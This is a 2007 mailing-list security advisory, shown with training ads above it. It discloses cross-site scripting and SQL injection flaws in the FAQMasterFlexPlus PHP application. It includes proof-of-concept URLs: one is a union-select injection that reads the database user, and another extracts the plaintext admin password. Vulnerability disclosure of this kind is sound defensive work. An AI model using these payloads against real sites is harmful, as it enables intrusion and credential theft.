Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | FAQMasterFlexPlus multiple vulnerabilities |
|---|---|
| Date: | Fri, 28 Dec 2007 04:26:34 +0100 |
- Security Advisory - - FAQMasterFlexPlus multiple vulnerabilities - --------------------------------------------------------------- Product: FAQMasterFlexPlus Version: Latest version is affected, other not tested Vendor: http://www.netbizcity.com Affected by: Cross-Site Scripting & SQL injection I. Introduction. FaqMasterFlexPlus is a free, database-driven web-based application written in php for creating and maintaining Frequently Asked Questions (FAQs) on your web site. It has language support and features according documentation are: "Allow to create unlimited categories and unlimited Questions/Answers and has web-based category and FAQ administration with Add, Edit, Delete Capability.", It's free software, released under the GNU General Public Lisence (GPL). Works with php & mysql and comes bundled in some versions of Fantastico (Cpanel X). II. Description Multiple flaws in FaqMasterFlexPlus have been discovered: 1) Cross Site Scripting: The script faq.php suffers an XSS bug, specifically the variable $cat_name it's not properly sanitized, an attacker exploiting this flaw can perform an XSS attack to access the targeted user cookies. All Admin scripts to add/edit/delete categories and add/edit/delete faq don't parse correctly the user supplied input too. PoC: http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS] 2) SQL Injection (to exploit this issue it's necesarry magic_quotes_gpc set to Off in the php.ini file). All the scripts suffers for sql injections attacks in the querys to the database. PoC: http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,user(),1/* Then get a new line like this: Q faquser@localhost or a Proof of Concept to get the admin password: http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,passwrd,1%20from%20users%20where%20userid='admin Q supersecretpassword bingo! ;) Besides password is stored in plain text, this is a big security flaw. This software is infected with many bugs and must be fully audited for enforce the security. III. Timeline 08/05/2007 - Bugs discovered 10/05/2007 - Vendor Contact (No Response) 12/12/2007 - Vendor Contacted Again (No Response) 28/12/2007 - Advisory Disclosure IV. Credits Juan Galiana <jgaliana gmail com> Regards
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities, Juan Galiana |
|---|---|
| Next by Date: | 2z-project 0.9.6.1 Multiple Security Vulnerabilities, Digital Security Research Group [DSecRG] |
| Previous by Thread: | OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities, Juan Galiana |
| Next by Thread: | 2z-project 0.9.6.1 Multiple Security Vulnerabilities, Digital Security Research Group [DSecRG] |
| Indexes: | [Date] [Thread] [Top] [All Lists] |